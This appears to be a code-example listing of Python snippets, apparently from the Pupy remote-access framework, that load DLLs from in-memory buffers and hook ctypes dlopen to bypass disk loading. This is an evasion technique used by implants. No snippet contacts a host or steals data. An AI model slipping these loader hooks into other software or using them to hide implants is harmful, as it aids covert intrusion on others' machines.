Ejemplo n.º 1
0
def load_pywintypes():
    #loading pywintypes27.dll :-)
    global modules
    try:
        import pupy
        pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
    except Exception as e:
        print e
        pass
Ejemplo n.º 2
0
def load_pywintypes():
    #loading pywintypes27.dll :-)
    global modules
    try:
        import pupy
        pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
    except Exception as e:
        dprint('Loading pywintypes27.dll.. failed: {}'.format(e))
        pass
Ejemplo n.º 3
0
def load_pywintypes():
    #loading pywintypes27.dll :-)
    global modules
    try:
        import pupy
        pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
    except Exception as e:
        print e
        pass
Ejemplo n.º 4
0
def load_dll(name, buf):
    if name in dlls:
        return True

    import pupy
    if hasattr(pupy, 'load_dll'):
        if pupy.load_dll(name, buf):
            dlls.add(name)
            return True

    return False
Ejemplo n.º 5
0
def _pupy_dlopen(name, *args, **kwargs):
    pupy.dprint('ctypes dlopen: {}', name)
    name = _pupy_make_library_path(name)
    pupy.dprint('ctypes dlopen / pupyized: {} (system {})', name,
                ctypes._system_dlopen)

    handle = pupy.load_dll(name)
    if handle:
        return handle
    else:
        pupy.dprint('load_dll by name ({}) failed', name)

    return ctypes._system_dlopen(name, *args, **kwargs)
Ejemplo n.º 6
0
    def pupy_dlopen(name, *args, **kwargs):
        dprint("ctypes dlopen: {}".format(name))
        from_pupy = False
        name = pupy_make_path(name)
        dprint("ctypes dlopen / pupyized: {}".format(name))

        if name in modules:
            if hasattr(_memimporter, 'load_library'):
                try:
                    return _memimporter.load_library(modules[name], name)
                except:
                    pass
            elif hasattr(pupy, 'load_dll'):
                try:
                    return pupy.load_dll(name, modules[name])
                except:
                    pass

        if not from_pupy:
            return ctypes._system_dlopen(name, *args, **kwargs)
Ejemplo n.º 7
0
    def pupy_dlopen(name, *args, **kwargs):
        dprint("ctypes dlopen: {}".format(name))
        from_pupy = False
        name = pupy_make_path(name)
        dprint("ctypes dlopen / pupyized: {}".format(name))

        if name in modules:
            if hasattr(_memimporter, 'load_library'):
                try:
                    return _memimporter.load_library(modules[name], name)
                except:
                    pass
            elif hasattr(pupy, 'load_dll'):
                try:
                    return pupy.load_dll(name, modules[name])
                except:
                    pass

        if not from_pupy:
            return ctypes._system_dlopen(name, *args, **kwargs)
Ejemplo n.º 8
0
    def pupy_dlopen(name, *args, **kwargs):
        dprint("ctypes dlopen: {}".format(name))
        name = pupy_make_path(name)
        dprint("ctypes dlopen / pupyized: {}".format(name))

        if name in modules:
            if hasattr(_memimporter, 'load_library'):
                try:
                    library = _memimporter.load_library(modules[name], name)
                    del modules[name]
                    return library
                except:
                    pass
            elif hasattr(pupy, 'load_dll'):
                try:
                    library = pupy.load_dll(name, modules[name])
                    del modules[name]
                    return library
                except:
                    pass

        return ctypes._system_dlopen(name, *args, **kwargs)